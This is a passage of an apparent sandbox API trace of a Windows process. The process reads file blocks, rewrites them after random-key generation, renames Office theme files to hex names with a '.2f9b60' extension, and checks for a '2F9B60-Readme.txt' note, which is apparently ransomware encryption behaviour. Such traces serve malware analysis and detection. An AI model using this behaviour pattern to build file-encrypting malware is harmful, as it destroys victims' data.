0x34a768bc [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x17fb0606 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x36cbf2a3 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x5bf76577 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0xe09008e [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x5159e6ed [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x3cb1840d [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x12cdcc90 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x25568b2f [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x1d19340e [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x392f2534 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x10338a0d [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x31971f72 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0xe56b5a3 [0088.254] RtlRandomEx (in: Seed=0x2465fa50 | out: Seed=0x2465fa50) returned 0x1f46bbb8 [0088.260] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.260] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2465fac0, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x2465fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.262] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0088.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b560) returned 1 [0088.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b560 [0088.262] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82a4b0 [0088.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82a4b0) returned 1 [0088.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.262] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.262] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2465fac0, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x2465fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.265] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.265] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.265] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2465fac0, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x2465fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.267] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0xb400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0088.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aab0) returned 1 [0088.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce64d30 [0088.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0088.268] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b4d0 [0088.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b4d0) returned 1 [0088.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.268] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.268] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce64d30*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2465fac0, lpOverlapped=0x0 | out: lpBuffer=0x1ce64d30*, lpNumberOfBytesWritten=0x2465fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.270] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce64d30) returned 1 [0088.270] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x11e56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.270] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce61120, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x2465fac0, lpOverlapped=0x0 | out: lpBuffer=0x1ce61120*, lpNumberOfBytesRead=0x2465fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.276] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x11e56, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0088.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b380) returned 1 [0088.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce59900 [0088.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0088.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b590 [0088.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82b590) returned 1 [0088.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.277] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.277] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce59900*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2465fac0, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesWritten=0x2465fac0*=0x3c00, lpOverlapped=0x0) returned 1 [0088.279] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.280] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1b7c1f70 [0088.280] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.280] WriteFile (in: hFile=0xa3c, lpBuffer=0x133600*, nNumberOfBytesToWrite=0x150, lpNumberOfBytesWritten=0x2465fb70, lpOverlapped=0x0 | out: lpBuffer=0x133600*, lpNumberOfBytesWritten=0x2465fb70*=0x150, lpOverlapped=0x0) returned 1 [0088.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aab0 [0088.281] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aab0) returned 1 [0088.281] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x1e) returned 0x1b82aab0 [0088.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82b380 [0088.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b82aae0 [0088.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82aae0) returned 1 [0088.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.282] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.282] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3d) returned 0x1cd97350 [0088.282] sprintf (in: _Dest=0x1cd97350, _Format="%c%c" | out: _Dest="f6") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97352, _Format="%c%c" | out: _Dest="11") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97354, _Format="%c%c" | out: _Dest="7d") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97356, _Format="%c%c" | out: _Dest="9e") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97358, _Format="%c%c" | out: _Dest="2e") returned 2 [0088.282] sprintf (in: _Dest=0x1cd9735a, _Format="%c%c" | out: _Dest="28") returned 2 [0088.282] sprintf (in: _Dest=0x1cd9735c, _Format="%c%c" | out: _Dest="e6") returned 2 [0088.282] sprintf (in: _Dest=0x1cd9735e, _Format="%c%c" | out: _Dest="a2") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97360, _Format="%c%c" | out: _Dest="71") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97362, _Format="%c%c" | out: _Dest="1c") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97364, _Format="%c%c" | out: _Dest="7f") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97366, _Format="%c%c" | out: _Dest="db") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97368, _Format="%c%c" | out: _Dest="c6") returned 2 [0088.282] sprintf (in: _Dest=0x1cd9736a, _Format="%c%c" | out: _Dest="32") returned 2 [0088.282] sprintf (in: _Dest=0x1cd9736c, _Format="%c%c" | out: _Dest="76") returned 2 [0088.282] sprintf (in: _Dest=0x1cd9736e, _Format="%c%c" | out: _Dest="64") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97370, _Format="%c%c" | out: _Dest="01") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97372, _Format="%c%c" | out: _Dest="4b") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97374, _Format="%c%c" | out: _Dest="73") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97376, _Format="%c%c" | out: _Dest="42") returned 2 [0088.282] sprintf (in: _Dest=0x1cd97378, _Format="%c%c" | out: _Dest="e4") returned 2 [0088.282] sprintf (in: _Dest=0x1cd9737a, _Format="%c%c" | out: _Dest="88") returned 2 [0088.283] sprintf (in: _Dest=0x1cd9737c, _Format="%c%c" | out: _Dest="e1") returned 2 [0088.283] sprintf (in: _Dest=0x1cd9737e, _Format="%c%c" | out: _Dest="ae") returned 2 [0088.283] sprintf (in: _Dest=0x1cd97380, _Format="%c%c" | out: _Dest="46") returned 2 [0088.283] sprintf (in: _Dest=0x1cd97382, _Format="%c%c" | out: _Dest="f1") returned 2 [0088.283] sprintf (in: _Dest=0x1cd97384, _Format="%c%c" | out: _Dest="9d") returned 2 [0088.283] sprintf (in: _Dest=0x1cd97386, _Format="%c%c" | out: _Dest="0b") returned 2 [0088.283] sprintf (in: _Dest=0x1cd97388, _Format="%c%c" | out: _Dest="c1") returned 2 [0088.283] sprintf (in: _Dest=0x1cd9738a, _Format="%c%c" | out: _Dest="d9") returned 2 [0088.283] RtlInitAnsiString (in: DestinationString=0x2465fbe8, SourceString="f6117d9e2e28e6a2711c7fdbc6327664014b7342e488e1ae46f19d0bc1d9" | out: DestinationString="f6117d9e2e28e6a2711c7fdbc6327664014b7342e488e1ae46f19d0bc1d9") [0088.283] RtlAnsiStringToUnicodeString (in: DestinationString=0x2465fbb8, SourceString="f6117d9e2e28e6a2711c7fdbc6327664014b7342e488e1ae46f19d0bc1d9", AllocateDestinationString=1 | out: DestinationString="f6117d9e2e28e6a2711c7fdbc6327664014b7342e488e1ae46f19d0bc1d9") returned 0x0 [0088.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x7a) returned 0x1b784400 [0088.283] wcscat (in: _Dest=0x1b7add40, _Source="f6117d9e2e28e6a" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\f6117d9e2e28e6a") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\f6117d9e2e28e6a" [0088.283] wcscat (in: _Dest=0x1b7add40, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\f6117d9e2e28e6a.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\f6117d9e2e28e6a.2f9b60" [0088.283] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\f6117d9e2e28e6a.2f9b60", NtPathName=0x2465fb90, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Document Themes 14\\f6117d9e2e28e6a.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0088.283] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb6) returned 0x106e80 [0088.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x106e80) returned 1 [0088.284] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b77ad20) returned 1 [0088.284] NtQueryInformationFile (in: FileHandle=0xa3c, IoStatusBlock=0x2465fbf8, FileInformation=0x2465fc08, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2465fbf8, FileInformation=0x2465fc08) returned 0x0 [0088.284] NtSetInformationFile (FileHandle=0xa3c, IoStatusBlock=0x2465fbf8, FileInformation=0x2465fc08, Length=0x28, FileInformationClass=0x4) returned 0x0 [0088.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0088.286] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b784400) returned 1 [0088.286] FlushFileBuffers (hFile=0xa3c) returned 1 [0088.292] CloseHandle (hObject=0xa3c) returned 1 [0088.293] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x90) returned 0x1b7add40 [0088.293] wcscpy (in: _Dest=0x1b7add40, _Source="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\" [0088.293] wcscat (in: _Dest=0x1b7add40, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt") returned="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" [0088.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\2F9B60-Readme.txt" (normalized: "c:\\program files\\microsoft office\\document themes 14\\2f9b60-readme.txt")) returned 0x20 [0088.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7add40) returned 1 [0088.293] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b7ad2a0) returned 1 Thread: id = 326 os_tid = 0xe48 [0088.300] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx")) returned 0x20 [0088.300] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx", dwFileAttributes=0x20) returned 1 [0088.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Aspect.thmx" (normalized: "c:\\program files\\microsoft office\\document themes 14\\aspect.thmx"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xa3c [0088.301] GetFileSizeEx (in: hFile=0xa3c, lpFileSize=0x247ff900 | out: lpFileSize=0x247ff900*=68069) returned 1 [0088.301] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x109e1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.301] ReadFile (in: hFile=0xa3c, lpBuffer=0x247ff880, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x247ff8c8, lpOverlapped=0x0 | out: lpBuffer=0x247ff880*, lpNumberOfBytesRead=0x247ff8c8*=0x4, lpOverlapped=0x0) returned 1 [0088.303] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.303] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0088.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ee0 [0088.304] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.304] NtQuerySystemTime (in: CurrentTime=0x247ff7c0 | out: CurrentTime=0x247ff7c0*=132462176941690000) returned 0x0 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x1585992b [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x13abc99 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x7ef3ee87 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x4d06cccf [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x2ef71904 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x228413fb [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x2cb9e819 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x9ecddab [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x5c501052 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x315e7b17 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x70bbad82 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x1357c94a [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x7f341b2e [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x47adc30e [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x45c89d6e [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x7e6227c2 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x2ef3f28 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x4457a50b [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x7e2f3a84 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x7de73a4b [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x7de19d82 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x75ecfd2b [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x43693d72 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x2d50129f [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x37eae269 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x229f3d09 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x4fadc48e [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x119a2f50 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x37d779c3 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x4bfba43 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x1984ebf2 [0088.304] RtlRandomEx (in: Seed=0x247ff7b0 | out: Seed=0x247ff7b0) returned 0x65c82dbc [0088.311] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.311] ReadFile (in: hFile=0xa3c, lpBuffer=0x1ce59900, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x247ff820, lpOverlapped=0x0 | out: lpBuffer=0x1ce59900*, lpNumberOfBytesRead=0x247ff820*=0x3c00, lpOverlapped=0x0) returned 1 [0088.314] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0088.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0088.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a000) returned 1 [0088.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ce5d510 [0088.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a000 [0088.314] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859eb0 [0088.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859eb0) returned 1 [0088.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.314] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.314] WriteFile (in: hFile=0xa3c, lpBuffer=0x1ce5d510*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x247ff820, lpOverlapped=0x0 | out: lpBuffer=0x1ce5d510*, lpNumberOfBytesWritten=0x247ff820*=0x3c00, lpOverlapped=0x0) returned 1 [0088.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5d510) returned 1 [0088.324] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59900) returned 1 [0088.324] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x24) returned 0x1b859eb0 [0088.324] SetFilePointerEx (in: hFile=0xa3c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0088.324] WriteFile (in: hFile=0xa3c, lpBuffer=0x1695e0*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x247ff8d0, lpOverlapped=0x0 | out: lpBuffer=0x1695e0*, lpNumberOfBytesWritten=0x247ff8d0*=0x108, lpOverlapped=0x0) returned 1 [0088.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97350 [0088.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79dff0 [0088.328] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859cd0 [0088.328] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859cd0) returned 1 [0088.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x16) returned 0x1b82d000 [0088.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859cd0 [0088.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b859ca0 [0088.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b859ca0) returned 1 [0088.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79dff0) returned 1 [0088.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97350) returned 1 [0088.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x2d) returned 0x1cd9f970 [0088.329] sprintf (in: _Dest=0x1cd9f970, _Format="%c%c" | out: _Dest="34") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f972, _Format="%c%c" | out: _Dest="a5") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f974, _Format="%c%c" | out: _Dest="45") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f976, _Format="%c%c" | out: _Dest="95") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f978, _Format="%c%c" | out: _Dest="56") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f97a, _Format="%c%c" | out: _Dest="a1") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f97c, _Format="%c%c" | out: _Dest="dd") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f97e, _Format="%c%c" | out: _Dest="92") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f980, _Format="%c%c" | out: _Dest="03") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f982, _Format="%c%c" | out: _Dest="d4") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f984, _Format="%c%c" | out: _Dest="00") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f986, _Format="%c%c" | out: _Dest="40") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f988, _Format="%c%c" | out: _Dest="4c") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f98a, _Format="%c%c" | out: _Dest="61") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f98c, _Format="%c%c" | out: _Dest="10") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f98e, _Format="%c%c" | out: _Dest="b7") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f990, _Format="%c%c" | out: _Dest="95") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f992, _Format="%c%c" | out: _Dest="57") returned 2 [0088.329] sprintf (in: _Dest=0x1cd9f994, _Format="%c%c" | out: _Dest="ca") returned 2 [0088.330] sprintf (in: _Dest=0x1cd9f996, _Format="%c%c" | out: _Dest="8d") returned 2 [0088.330] sprintf (in: _Dest=0x1cd9f998, _Format="%c%c" | out: _Dest="5f") returned 2 [0088.330] sprintf (in: _Dest=0x1cd9f99a, _Format="%c%c" | out: _Dest="03") returned 2 [0088.330] RtlInitAnsiString (in: DestinationString=0x247ff948, SourceString="34a5459556a1dd9203d400404c6110b79557ca8d5f03" | out: DestinationString="34a5459556a1dd9203d400404c6110b79557ca8d5f03") [0088.330] RtlAnsiStringToUnicodeString (in: DestinationString=0x247ff918, SourceString="34a5459556a1dd9203d400404c6110b79557ca8d5f03", AllocateDestinationString=1 | out: DestinationString="34a5459556a1dd9203d400404c6110b79557ca8d5f03") returned 0x0 [0088.330] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5a) returned 0x1b7c2210 [0088.330] wcscat (in: _Dest=0x1b7ad2a0, _Source="34a5459556a" | out: _Dest="C:\\Program Files\\Microsoft 